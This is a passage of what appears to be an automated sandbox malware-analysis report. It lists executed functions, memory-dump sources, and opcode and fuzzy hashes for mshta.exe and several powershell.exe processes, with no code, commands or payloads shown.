Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800EF9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800F09 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800F11 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800F21 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800F29 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800F49 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800F51 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800F61 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800F69 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800F71 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800F79 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800F81 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800F89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800F91 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Function 00000250DC800FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.58278589099.00000250DC800000.00000010.00000800.00020000.00000000.sdmp, Offset: 00000250DC800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_250dc800000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction ID: d0288c5744770db1ee0cd5d2263a91981431039122129c0de0b58bbd412f3476
Opcode Fuzzy Hash: 78442604318d0cd3b8de6e4fa4cdd47b0d2400c1432924e9514fb28b61ed518c
Instruction Fuzzy Hash: 7A90021449684A55D41411D10D8965C5151B388251FD44481441690184D95D029A3156

Analysis Process: powershell.exePID: 8332, Parent PID: 6112COMMON

Executed Functions

Function 00007FFB4C931C92 Relevance: .4, Instructions: 403COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.58407581901.00007FFB4C930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4c930000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 220aeb603b61ab47cd5ecd67a9deb748404346f403c0dba4f68ebf230de81660
Instruction ID: c418f653b5a7894fcc8ee9f31a4b582838f16293faf0d188a14654fc4a62586c
Opcode Fuzzy Hash: 220aeb603b61ab47cd5ecd67a9deb748404346f403c0dba4f68ebf230de81660
Instruction Fuzzy Hash: 14C1F6A1A0DB891FD797AA78C8592B57FE1DF9A610B0901FBD088CB1F3DA189C05C351

Function 00007FFB4C930C3E Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.58407581901.00007FFB4C930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4c930000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dd246bfb580ce61c23a56d39f7b590ddb5c50b9af241a457eefe01c198ed744
Instruction ID: 1b0c0e8e838b781cb9ba8b50d237299908f6e7a38115f96422bada9a59754cca
Opcode Fuzzy Hash: 6dd246bfb580ce61c23a56d39f7b590ddb5c50b9af241a457eefe01c198ed744
Instruction Fuzzy Hash: 50511AE2F1DB4A2FE7ABAA3CC5592B966C1EFD8610B4410BFD45DC71E2DE14AC048381

Function 00007FFB4C930C8A Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.58407581901.00007FFB4C930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4c930000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bb872707bd57d55c608fd385e2584145c063acb981d197b018548cade39dd79
Instruction ID: 86a261ff00908212b5371eed1c1ba3af396f5192e40879217aa36acad1d004f2
Opcode Fuzzy Hash: 8bb872707bd57d55c608fd385e2584145c063acb981d197b018548cade39dd79
Instruction Fuzzy Hash: 1631D8D2E1EB4A2BF7ABBA3CC65A17865C1EFD8650B4410BBD45DC71E2DF18AC044241

Function 00007FFB4C864CDA Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.58403616749.00007FFB4C860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4c860000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84aaad4d36f07133c6d2fdbe5625e19d0d45b2247ce72e502f291e297cbb4dde
Instruction ID: 9dc3e8cf7335c4d3d5c8179d38a7dbe87b6321a25ba3f45ba27799f969465625
Opcode Fuzzy Hash: 84aaad4d36f07133c6d2fdbe5625e19d0d45b2247ce72e502f291e297cbb4dde
Instruction Fuzzy Hash: 8F2145F2F0D6574BE324BE3CDA890F87782DFD1A217148233D468CB296DC28A8058384

Function 00007FFB4C931E5A Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.58407581901.00007FFB4C930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4c930000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a9f0259e4ff6da0e5d818bd49529e0b4fbc92485f11cb4f7325a3332a235393
Instruction ID: 07fcfa75feada4f622beb12f86ec2430ed05dfcf733366fc6fc0784155a5b076
Opcode Fuzzy Hash: 9a9f0259e4ff6da0e5d818bd49529e0b4fbc92485f11cb4f7325a3332a235393
Instruction Fuzzy Hash: 6011E9E6F1C91A1AE6F6B97CD1AA2BC52C2EFDCA20B440177C41EC31E1DF1A9C450280

Function 00007FFB4C8637B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.58403616749.00007FFB4C860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4c860000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abec2792b95cc3134e75351a9277a07185e0420c5c5f3ff60835923a31afeda3
Instruction ID: e2fed715e5bab7a64c61b05df7caa941fb071880446abda042a0fe9897fe6a9a
Opcode Fuzzy Hash: abec2792b95cc3134e75351a9277a07185e0420c5c5f3ff60835923a31afeda3
Instruction Fuzzy Hash: 9401677151CB0D4FD748EF0CE451AB6B7E0FB95324F10056EE58AC3661D636E892CB45

Function 00007FFB4C8650E1 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.58403616749.00007FFB4C860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4c860000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d46f4f4e515f5dd19c659b2c8a09c6290ddf029f5e8c173ad80eea47dbb7c973
Instruction ID: d9fdb002c4d735f41e3ab70f34975de00bd97ab4b7f726a23d43608a3edbed91
Opcode Fuzzy Hash: d46f4f4e515f5dd19c659b2c8a09c6290ddf029f5e8c173ad80eea47dbb7c973
Instruction Fuzzy Hash: 45F017B4E1820B8BDB00EFA8C5855BEB7B0EB54310F208526C116EA281DB38AA408B80

Function 00007FFB4C869658 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.58403616749.00007FFB4C860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4c860000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dedd367a5bf103af1e066d02362a3f1735dadf134259d774234d64f05ca43a02
Instruction ID: 31a81a74b40e2c72e8ad837a6701365e510e18bc86a63d42247488a0485c2dfd
Opcode Fuzzy Hash: dedd367a5bf103af1e066d02362a3f1735dadf134259d774234d64f05ca43a02
Instruction Fuzzy Hash: E8E0C2B1B4C90907E758BA3CE4061B973C1EF88611B45863BD84EC2282CD3CE9814380

Function 00007FFB4C865FB5 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.58403616749.00007FFB4C860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4c860000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73d8b71b096e80fe4079579565e1ed87bd4e065a3256455c004e950bc18a809b
Instruction ID: 4c7f606951ddfb31750483fd37156de357148863933cafb7940f11bcc044e57f
Opcode Fuzzy Hash: 73d8b71b096e80fe4079579565e1ed87bd4e065a3256455c004e950bc18a809b
Instruction Fuzzy Hash: C0E092A175D7455FD609FE7CC4AA479B3D1EF8261074051BFD59A831D3DD6814098601

Function 00007FFB4C8691BF Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.58403616749.00007FFB4C860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4c860000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1d48d1ff8d7082587831e7a406b34eb3c1619b8831c351a242c584725f089d2
Instruction ID: 382d5bdde6da9ff9b0cd736d8ce980b62a8e420d5df2d20af6bbb4dc3b7b571d
Opcode Fuzzy Hash: e1d48d1ff8d7082587831e7a406b34eb3c1619b8831c351a242c584725f089d2
Instruction Fuzzy Hash: 78C012B161C15287952D693881151356276FB45501725507ED587571D6893A6801C745

Analysis Process: powershell.exePID: 8400, Parent PID: 6112COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFB4C88E158 Relevance: 1.6, APIs: 1, Instructions: 122
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 00007FFB4C8905A7

Memory Dump Source

Source File: 00000006.00000002.58460901423.00007FFB4C880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb4c880000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 768f048992be278e51cc30d90d67c1ea40dd25c65edc4f377d2ce7d33d809bfe
Instruction ID: 4670b71983a035e3595243862035a8ecf1a28fbeb63184d68e2a36ad559d4615
Opcode Fuzzy Hash: 768f048992be278e51cc30d90d67c1ea40dd25c65edc4f377d2ce7d33d809bfe
Instruction Fuzzy Hash: 6031C5B190DB484FDB59DFB8944A6F97BE0EF56321F0441AFD04AC7262CA6498068B51

Function 00007FFB4C950BBD Relevance: .8, Instructions: 840
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.58462761818.00007FFB4C950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb4c950000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdbed97c90f626a96fbedae38d3dba22fe8030cfd6ee11baa7f87d79084b015a
Instruction ID: 841fcf5c339541c3849d059c79b7e80447683346fccccd0b25c44d9338d1b6eb
Opcode Fuzzy Hash: fdbed97c90f626a96fbedae38d3dba22fe8030cfd6ee11baa7f87d79084b015a
Instruction Fuzzy Hash: 9332F7A290EBC92FE757AB78C95D1A57FE0DF56620B0901FBD48CCB193D9189C09C392

Function 00007FFB4C951C92 Relevance: .6, Instructions: 575
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.58462761818.00007FFB4C950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb4c950000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a4c9c7e8188e54a6b7936160418f91c36a5b491147063610c1f3d6334254506
Instruction ID: 99b78f6f5fee96c91c05ad27119a5ceefcb7ee970e75d3a6ae6620b28b6ea87b
Opcode Fuzzy Hash: 9a4c9c7e8188e54a6b7936160418f91c36a5b491147063610c1f3d6334254506
Instruction Fuzzy Hash: BB0204A2A0EB891FD79BAA38C95D1B53FE1DF56614B0901FBD48CCB193DD189C09C392

Function 00007FFB4C950C8A Relevance: .1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.58462761818.00007FFB4C950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb4c950000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b392355d1bbbf07e66e53ecbad9886c9b0e874be9141da139ec600cb2eb666
Instruction ID: e25186c59303ef1cd7781b18ef73e15276ad58298cead2bf5a2f35c4ce5ad415
Opcode Fuzzy Hash: 83b392355d1bbbf07e66e53ecbad9886c9b0e874be9141da139ec600cb2eb666
Instruction Fuzzy Hash: 0F3108D3E1EB4A3BF7AABE78CA6E17869C1EF85650B4410BFD84DC71D2DD18AC040241

Function 00007FFB4C951E5A Relevance: .1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.58462761818.00007FFB4C950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb4c950000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4d0a0c2a121415361cd0e9049be54eb04770fdf89a5b94e01bbc7536e0c51af
Instruction ID: a29d475c2956ef68fa7e0d1ad78419ddc8e104e60e7acfbf224427b072574bf9
Opcode Fuzzy Hash: a4d0a0c2a121415361cd0e9049be54eb04770fdf89a5b94e01bbc7536e0c51af
Instruction Fuzzy Hash: 2A11C8E7F2C91A1BE6E6B97CD5AD2BC52C2EF98A24F5402BBD41DC31C5DD189C490280

Analysis Process: powershell.exePID: 8460, Parent PID: 6112COMMON

Executed Functions

Function 00007FFB4C921C92 Relevance: .6, Instructions: 575COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.58469824135.00007FFB4C920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffb4c920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af8d4a30a385f778139188d7d15adcb18014080b906d04f7f2377b1811467175
Instruction ID: 96f5ac351050ac472c881518b45ad743c00f644a8e251cf6c8c1f2fa9116f25b
Opcode Fuzzy Hash: af8d4a30a385f778139188d7d15adcb18014080b906d04f7f2377b1811467175
Instruction Fuzzy Hash: 850235E1A0DB895FE79BAE78C8596747BE1EF56620B0805FBD08CC7193DE189C15C382

Function 00007FFB4C920C3E Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.58469824135.00007FFB4C920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffb4c920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d87234406c344243314fc36c1772a72028c9213b012be1052021168e41043e94
Instruction ID: cf0380bfd5cd47c6ca5f0169112e8b44a7e04eeb9c34b740ab894aad545c67ac
Opcode Fuzzy Hash: d87234406c344243314fc36c1772a72028c9213b012be1052021168e41043e94
Instruction Fuzzy Hash: AA5107F2E1EB4A2FE7AAEE3CC5591B966C1EF54610B4414BBD48DC71C2DD14AC058382

Function 00007FFB4C920C8A Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.58469824135.00007FFB4C920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffb4c920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0030edbeb8c0a8f290b90cafe98395c81f71207b4e2841fe0bde71f45de62f8
Instruction ID: 52cc95578f9c934314ed03bf4e1330f90aefae1dc8f53f8ebe64f4f919a9114b
Opcode Fuzzy Hash: b0030edbeb8c0a8f290b90cafe98395c81f71207b4e2841fe0bde71f45de62f8
Instruction Fuzzy Hash: C431C7E3E1FA4A2BF7AABE7CCA5A17869C1EF94610B4414BBD48DC61D2DD18AC044242

Function 00007FFB4C921E5A Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.58469824135.00007FFB4C920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffb4c920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5abffdece6695b45b670ca94463a3c0a64d2779fc8db319a37dc97208f178e0c
Instruction ID: 09a14ddb3f5f7100d778ef0abef614abe92f46ff29ffcbab3cd0282b2f494c41
Opcode Fuzzy Hash: 5abffdece6695b45b670ca94463a3c0a64d2779fc8db319a37dc97208f178e0c
Instruction Fuzzy Hash: 35110CE6F1C91A1AE7E6BDFCD9AD2BC52C6EFD4A20B440577C45DC3185DD189C150282

Function 00007FFB4C8537B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.58468809766.00007FFB4C850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffb4c850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb41c5088c83ff3ff9212e5f6e9c405d94860b8db11be397b3e57a14267cfe5e
Instruction ID: 6fa8789f5687db6429e380cdad07c342d541898092a8b1266d885c221d07a063
Opcode Fuzzy Hash: bb41c5088c83ff3ff9212e5f6e9c405d94860b8db11be397b3e57a14267cfe5e
Instruction Fuzzy Hash: A001A77010CB0C4FD748EF0CE451AB6B7E0FB85320F10052EE58AC3261D632E882CB41

Function 00007FFB4C8550E1 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

